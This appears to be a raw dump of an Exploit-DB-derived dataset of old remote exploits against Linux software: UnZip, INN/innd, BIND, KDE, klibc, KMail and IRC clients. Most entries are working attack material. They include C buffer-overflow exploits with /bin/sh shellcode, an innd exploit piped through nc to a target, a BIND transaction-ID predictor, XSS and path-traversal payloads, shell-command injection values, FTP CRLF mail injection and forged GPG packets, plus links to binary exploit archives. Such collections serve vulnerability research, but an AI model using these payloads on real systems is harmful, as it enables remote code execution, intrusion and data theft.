deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22584
Description: Info-ZIP UnZip 5.50 - Encoded Character Hostile Destination Path
Type: remote
Platform: linux
Date: 2003-05-10
Author: Jelmer

Exploit:
source: https://www.securityfocus.com/bid/7550/info

Info-ZIP UnZip contains a vulnerability during the handling of pathnames for archived files. Specifically, when certain encoded characters are inserted into '../' directory traversal sequences, the creator of the archive can cause the file to be extracted to arbitrary locations on the filesystem - including paths containing system binaries and other sensitive or confidential information.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22584.zip
Exploit-DB #26913
Description: Info-ZIP UnZip 5.x - File Name Buffer Overflow
Type: remote
Platform: linux
Date: 2005-12-19
Author: DVDMAN

Exploit:
// source: https://www.securityfocus.com/bid/15968/info

Info-ZIP 'unzip' is susceptible to a filename buffer-overflow vulnerability. The application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

This issue allows attackers to execute arbitrary machine code in the context of users running the affected application. 

/*
By DVDMAN (DVDMAN@L33TSECURITY.COM)dvdman@snosoft.com
http://www.snosoft.com
http://WWW.L33TSECURITY.COM
L33T SECURITY
Keep It Private

based on code by hackbox.ath.cx
 > wget http://hackbox.ath.cx/mizc/unzip-expl.c

lame unzip <= 5.50
tested on redhat 7.2
By DVDMAN
L33TSECURITY.COM
*/


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define MAX "\x39\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
#define BUF 3264+1900+20000
#define LOC 3262
#define OFFSET 700 // brute force it
char fakechunk[] = "\xf0\xff\xff\xff"
"\xfc\xff\xff\xff"
"\xde\x16\xe8\x77"
"\x42\x6c\xe8\x77";
char execshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89"
"\xc2\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\x40"
"\xcd\x80"; /* newroot's shellcode */

int
main (int argc, char *argv[])
{

char buf[BUF + 1];
int x;
char *ptr;
int i=0,offset=OFFSET;
unsigned long addy = 0xbffffab0;
if (argc < 2) {
printf("[L33TSECURITY]");
printf("UNZIP EXPLOIT BY DVDMAN ");
printf("[L33TSECURITY]\n");
printf("[Usage] %s Offset\n",argv[0]);
return;
}
if (argc > 1) offset = atoi(argv[1]);

memset(buf,0x90,BUF);
ptr = buf + ((BUF) - strlen(execshell));

for (i=0;i<strlen(execshell);i++)
*(ptr++) = execshell[i];

*(long*)&buf[LOC] = addy + offset;
*(long*)&buf[LOC+4] = addy + offset;

buf[BUF] = 0;
if (buf < MAX) {
x = atoi(fakechunk + 2);
memset(buf,x,BUF);
execl("/usr/bin/unzip","unzip",buf,NULL);
}
execl("/usr/bin/unzip","unzip",buf,fakechunk,NULL);
return;
}
Exploit-DB #26540
Description: Inkscape 0.41/0.42 - '.SVG' Image Buffer Overflow
Type: remote
Platform: linux
Date: 2005-11-21
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/15507/info

Inkscape is prone to a buffer overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before copying it into a finite sized buffer.

When the application processes a malformed SVG image file, it results in a buffer overflow. An attacker can exploit this vulnerability to execute arbitrary code in the context of the victim user. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/26540.svg
Exploit-DB #22601
Description: Inktomi Traffic Server 4.0/5.x - Cross-Site Scripting
Type: remote
Platform: linux
Date: 2003-05-14
Author: Hugo Vazquez

Exploit:
source: https://www.securityfocus.com/bid/7596/info

Inktomi Traffic Server is prone to a cross-site scripting vulnerability. This is due to insufficient sanitization of input passed to the proxy, which will be echoed back in error pages under some circumstances. A malicious attacker could exploit this issue by creating a link which contains hostile HTML and script code and then enticing users of the proxy to visit the link. When the link is visited via the proxy, attacker-supplied script may be interpreted in the user's browser.

Exploitation could permit HTML and script code to access properties of the domain that is requested through the proxy.

http://<spoofed_domain>:443/</em><script>alert()</script>
Exploit-DB #208
Description: INND/NNRP < 1.6.x - Remote Overflow
Type: remote
Platform: linux
Date: 2000-11-30
Author: Babcia Padlina

Exploit:
/*
 *  INND/NNRP remote root overflow
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

#define DEFAULT_OFFSET	792
#define BUFFER_SIZE	796
#define ADDRS		80
#define RET			0xefbf95e4
#define NOP			"\x08\x21\x02\x80"

int main(argc, argv)
int argc;
char **argv;
{
  char *buff = NULL, *ptr = NULL;
  u_long *addr_ptr = NULL;
  int ofs = DEFAULT_OFFSET;
  int noplen;
  int i, j;
  u_char execshell[] = 
    "\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01"
    "\xe4\x20\xe0\x08\x0b\x5a\x02\x9a\xe8\x3f\x1f\xfd"
    "\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02"
    "\x60\x40\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99"
    "\x0b\x18\x02\x98\x34\x16\x04\xbe\x20\x20\x08\x01"
    "\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe"
    "/bin/sh";
  
  if(argc > 1)
    ofs = atoi(argv[1]);

  if(!(buff = malloc(4096)))
  {
    (void)fprintf(stderr, "can't allocate memory\n");
    exit(1);
  }

  ptr = buff;
  noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;

  for(i = 0; i < noplen / 4; i++)
  {
    for(j = 0; j < 4; j++)
      *ptr++ = NOP[j];
  }

  *ptr += noplen;

  for(i = 0; i < strlen(execshell); i++)
    *ptr++ = execshell[i];

  addr_ptr = (unsigned long *)ptr;

  for(i = 0; i < ADDRS / 4; i++)
    *addr_ptr++ = (RET - ofs);

  ptr = (char *)addr_ptr;
  *ptr = '\0';

  (void)fprintf(stderr, "shellcode len: %d, RET: %x\n", strlen(buff), RET-ofs);

  printf(
    "Path: babcia!padlina\n"
    "From: babunia @%s\n"
    "Newsgroups: pl.test\n"
    "Subject: test\n"
    "Message-ID: <830[PII_REDACTED]@padlina.z-miesne.krakow.pl>\n"
    "Date: 26 Aug 1999 10:36:54 +0200\n"
    "Lines: 1\n"
    "\n"
    "west. test it.\n"
    ".\n", buff);
}


// milw0rm.com [2000-11-30]
Exploit-DB #30536
Description: ISC BIND 8 - Remote Cache Poisoning (2)
Type: remote
Platform: linux
Date: 2007-08-27
Author: Amit Klein

Exploit:
source: https://www.securityfocus.com/bid/25459/info
 
BIND 8 is prone to a remote cache-poisoning vulnerability because of weaknesses in its random-number generator.
 
An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks.
 
Versions of BIND from 8.2.0 through to 8.4.7 are vulnerable to this issue.
 
$TRXID1=$ARGV[0];
$TRXID2=$ARGV[1];
$TRXID3=$ARGV[2];

$d1=($TRXID2-$TRXID1) % 65536;
if (($d1 & 1) == 0)
{
	die "Impossible: d1 is even";
}
	
$d2=($TRXID3-$TRXID2) % 65536;
if (($d2 & 1) == 0)
{
	die "Impossible: d2 is even";
}

# Calculate $inv_d1=($d1)^(-1)
$inv_d1=1;
for (my $b=1;$b<=16;$b++)
{
	if ((($d1*$inv_d1) % (1<<$b))!=1)
	{
		$inv_d1|=(1<<($b-1));
	}
}
			
my $a=($inv_d1 * $d2) % 65536;
my $z=($TRXID2-$a*$TRXID1) % 65536;
print "a=$a z=$z\n";

print "Next TRXID is ".(((($a*$TRXID3) % 65536)+$z) % 65536)."\n";
exit(0);
Exploit-DB #19998
Description: ISC innd 2.x - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2000-06-12
Author: Michal Zalewski

Exploit:
// source: https://www.securityfocus.com/bid/1316/info

innd 2.2.2 contains a remotely exploitable buffer overflow in code reached when a cancel request is sent to the "control" newsgroup, under the following condition: the cancel request contains a valid Message-ID but the From/Sender fields differ between the cancel request and the post referenced by the Message-ID. This attack only works against machines running INN with "verifycancels = true" 

/*
 * inndx: innd remote 'news' user/group exploit
 *
 * Written on 12th June 2000 by Wojciech Purczynski
 * <wp@elzabsoft.pl> cliph/ircnet 
 *
 * Bug found by Michal Zalewski.
 *
 * Tested on innd-2.2.2-3 default installation on RedHat 6.2.
 *
 * Usage:
 * ./inndx [command [offset]]|nc -i 1 target.host 119
 */

#include <stdio.h>
#include <unistd.h>

#define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
#define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
#define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
#define NOP 0x90
#define FAKEPTR 0xbffff1c0
#define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
#define BODYSIZE 999

/* Code written by me */
char * run_command=
	"\xeb\x3d\x5e\x89\xf7\x31\xc0\x47"
	"\x80\x3f\xff\x75\xfa\x88\x07\x47"
	"\x89\x37\x89\xf3\x46\x80\x3e\x2e"
	"\x75\xfa\x88\x06\x46\x89\x77\x04"
	"\x46\x80\x3e\x2e\x75\xfa\x88\x06"
	"\x46\x89\x77\x08\x89\x47\x0c\x89"
	"\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80"
	"\x89\xc3\x31\xc0\x40\xcd\x80\xe8"
	"\xbe\xff\xff\xff/bin/sh.-c.";

int main(int argc, char *argv[])
{
	int retaddr=RETADDR;
	char messageid[256];
	char sender[16];
	char body[BODYSIZE];
	char * command=COMMAND;
	int midsize;
	int i;

	if (argc>1) command=argv[1];
	if (argc>2) retaddr+=atoi(argv[2]);

	memset(sender, 0, sizeof(sender));
	strcpy(sender+0, "a@a.");		/* EBP */
	*(long*)(sender+4)=(long)retaddr;	/* EIP */
	*(long*)(sender+8)=(long)RETADDR+1000;	/* Data */
	
	memset(messageid, 'a', sizeof(messageid));
	sprintf(messageid, "%s@a", tmpnam(NULL)+9);
	messageid[strlen(messageid)]='a';
	messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0;

	memset(body, NOP, sizeof(body));
	strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
	strcat(body, command);
	strcat(body, "\xff");
	
	fprintf(stderr, "RETADDR=%p\n", retaddr);
	fprintf(stderr, "COMMAND=%s\n", command);
	
	printf("mode reader\r\ngroup test\r\npost\r\n");
	printf("Message-ID: <%s>\r\n", messageid);
	printf("From: %s\r\nSender: %s\r\n", sender, sender);
	printf("Newsgroups: test\r\n");
	printf("Subject: blah\r\n");
	printf("\r\nblah\r\n.\r\n");
	
	printf("group control\r\npost\r\n");
	printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
	printf("From: a@b.c\r\nSender: a@b.c\r\n");
	printf("Control: cancel <%s>\r\n", messageid);
	printf("Subject: cmsg cancel <%s>\r\n", messageid);
	printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);
}
Exploit-DB #19557
Description: John S.2 Roberts AnyForm 1.0/2.0 - CGI Semicolon
Type: remote
Platform: linux
Date: 1995-07-31
Author: Paul Phillips

Exploit:
source: https://www.securityfocus.com/bid/719/info

AnyForm is a popular form CGI designed to support simple forms that deliver responses via email. Certain versions of AnyForm did not perform user supplied data sanity checking and could be exploited by remote intruders to execute arbitrary commands. These commands were issued as the UID which the web server runs as, typically 'nobody'. 

Exploit as taken from the original post on this issue:

To exploit, create a form with a hidden field something like this:

<input type="hidden" name="AnyFormTo" value="foo@bar.com;command-to-execute
with whatever arguments;/usr/lib/sendmail -t foo@bar.com ">

Then submit the form to the "AnyForm" CGI on the server to be attacked.
The value of this parameter is passed to this code:

SystemCommand="/usr/lib/sendmail -t " + AnyFormTo + " <" + CombinedFileName;
system(SystemCommand);

Since system invokes a shell, the semicolons are treated as command
delimeters and anything can be inserted
Exploit-DB #21934
Description: KDE 3.0.x - KPF Icon Option File Disclosure
Type: remote
Platform: linux
Date: 2002-10-11
Author: Ajay R Ramjatan

Exploit:
source: https://www.securityfocus.com/bid/5951/info

A vulnerability has been discovered in the kpf file sharing utility. KDE is available for the Linux operating system.

It has been reported that by passing a malicious file request to kpf, it is possible for a remote attacker to access files outside of the 'shared directory' root. The ability to read files outside of the shared root directory would be dependent upon the privileges of the kpf process. 

http://127.0.0.1:8001/?icon=/usr/local/kde/share/icons/hicolor/32x32/mimetypes/image.png
Exploit-DB #33311
Description: KDE 4.3.2 - Multiple Input Validation Vulnerabilities
Type: remote
Platform: linux
Date: 2009-10-27
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/36845/info

KDE is prone to multiple input-validation vulnerabilities that affect 'Ark', 'IO Slaves', and 'Kmail'.

An attacker can exploit these issues by tricking an unsuspecting victim into opening a malicious file. A successful attack will allow arbitrary attacker-supplied JavaScript to run in the context of the victim running the affected application.

pydoc:[html][body][script]alert(&#039;xss&#039;)[/script][/body][/html] - fixed in 3.5.10
man:[script src="http://server/test.js"] - fixed in 3.5.10
help:[script]alert(&#039;xss&#039;)[/script]
info:/dir/[script]alert(&#039;xss&#039;)[/script]
perldoc:[body onLoad="javascript:alert(1)"]

help:/../../../../../../../../../../../etc/passwd
Exploit-DB #33364
Description: KDE 4.3.3 - KDELibs 'dtoa()' Remote Code Execution
Type: remote
Platform: linux
Date: 2009-11-20
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/37080/info

KDE is prone to a remote code-execution vulnerability that affects KDELibs.

Successful exploits may allow an attacker to execute arbitrary code. Failed attacks may cause denial-of-service conditions.

NOTE: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record.

This issue affects KDE KDELibs 4.3.3; other versions may also be affected.

<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>
Exploit-DB #24801
Description: KDE FTP - KIOSlave URI Arbitrary FTP Server Command Execution
Type: remote
Platform: linux
Date: 2004-12-06
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/11827/info

KDE FTP kioslave-based applications such as Konqueror are reported prone to an arbitrary FTP server command execution vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input prior to utilizing it to execute FTP commands on remote servers.

This vulnerability allows attackers to embed arbitrary FTP server commands in malicious URIs. Upon following this malicious URI, the victim users Web browser will reportedly connect to the attacker-specified FTP server, and the malicious commands will be sent to the server. This may allow malicious files to be downloaded to the victims computer without their knowledge. Other attacks are also likely possible.

Note: It has been reported that this issue can be leveraged to send email to arbitrary addresses without user interaction.

ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

The 'a,b,c,d,e,f' would represent the IP address and port specifications, as per the FTP RFCs.

This issue has also been reported to allow for the sending of email without user interaction. Embedding the following image into an HTML page reportedly sends an email:

<img src="ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a&lt;&gt;%0d%0aRCPT%20TO%3a&lt;username%40example.com&gt;%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:username@mx.example.net:25/" />
Exploit-DB #24136
Description: KDE Konqueror 3.x - Embedded Image URI Obfuscation
Type: remote
Platform: linux
Date: 2004-05-18
Author: Drew Copley

Exploit:
source: https://www.securityfocus.com/bid/10383/info

It is reported that KDE Konqueror is prone to a URI obfuscation weakness that may hide the true contents of a URI link. The issue occurs when an image is contained within a properly formatted HREF tag.

This weakness could be employed to trick a user into following a malicious link.

An attacker can exploit this issue by supplying a malicious image that appears to be a URI link pointing to a page designed to mimic that of a trusted site. If an unsuspecting victim is to mouseover the link in an attempt to verify the authenticity of where it references, they may be deceived into believing that the link references the actual trusted site. 

<A HREF=http://www.example.com alt="http://www.example.com">
<IMG SRC="malware.gif" USEMAP="#malware" border=0
alt="http://www.example.com"></A>
<map NAME="malware" alt="http://www.example.com">
<area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com"
alt="http://www.example.com">
</MAP>
Exploit-DB #29770
Description: KDE Konqueror 3.x/IOSlave - FTP PASV Port-Scanning
Type: remote
Platform: linux
Date: 2007-03-21
Author: mark

Exploit:
source: https://www.securityfocus.com/bid/23091/info

KDE Konqueror is prone to a vulnerability that may allow attackers to obtain potentially sensitive information.

A successful exploit of this issue would cause the affected application to connect to arbitrary TCP ports and potentially reveal sensitive information about services that are running on the affected computer. Information obtained may aid attackers in further attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29768.zip
Exploit-DB #35785
Description: klibc 1.5.2 - DHCP Options Processing Remote Shell Command Execution
Type: remote
Platform: linux
Date: 2011-05-18
Author: maximilian attems

Exploit:
source: https://www.securityfocus.com/bid/47924/info

klibc is prone to a shell-command-execution vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary shell commands in the context of the application that uses the vulnerable library.

Versions prior to klibc 1.5.22 are vulnerable.

DNSDOMAIN="\\\"\$(echo owned; touch /tmp/owned)"
Exploit-DB #29690
Description: KMail 1.x - GnuPG Arbitrary Content Injection
Type: remote
Platform: linux
Date: 2007-03-05
Author: Gerardo Richarte

Exploit:
source: https://www.securityfocus.com/bid/22759/info

KMail is prone to a vulnerability that may allow an attacker to add arbitrary content into a message without the end user knowing.

An attacker may be able to exploit this issue to add arbitrary content into a GnuPG signed and/or encrypted message.

This vulnerability is due to the weakness discussed in BID 22757 (GnuPG Signed Message Arbitrary Content Injection Weakness) and has been assigned its own BID because of the specific way that KMail uses GnuPG.

This issue affects KMail versions prior to and including 1.9.5. 

#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()

start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")

text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])

onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1

plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62

signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)

compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]

pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed

os.write(1,str(pkt))
Exploit-DB #25054
Description: konversation irc client 0.15 - Multiple Vulnerabilities
Type: remote
Platform: linux
Date: 2005-01-19
Author: wouter@coekaerts.be

Exploit:
source: https://www.securityfocus.com/bid/12312/info

Konversation is a freely available IRC client for KDE windows environments on Linux platforms.

Multiple remote vulnerabilities affect the Konversation IRC client. These issues are due to input validation failures and design flaws.

The first issue is due to a failure of the application to filter various parameters from the IRC environment prior to including them in commands made to the underlying operating system. The second issue affects the QuickButtons functionality of the vulnerable application. Finally a design error causes the quick connect dialogue to confuse a supplied nickname with a supplied password.

An attacker may leverage these issues to execute arbitrary shell and Konversation commands, potentially leading to denial of service attacks and system compromise. 

When an unsuspecting user joins a channel named #%n/quit%n and the Part Button their client will quit.

When an unsuspecting user enters a channel named #`kwrite` and executes the /uptime command, the kwrite application will be activated.
Exploit-DB #34385
Description: KVIrc 4.0 - '\r' Carriage Return in DCC Handshake Remote Command Execution
Type: remote
Platform: linux
Date: 2010-07-28
Author: unic0rn

Exploit:
source: https://www.securityfocus.com/bid/42026/info

KVIrc is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to execute arbitrary commands within the context of the affected application.

KVIrc 4.0.0 is vulnerable; other versions may also be affected. 

/ctcp nickname DCC GET\rQUIT\r
/ctcp nickname DCC GET\rPRIVMSG\40#channel\40:epic\40fail\r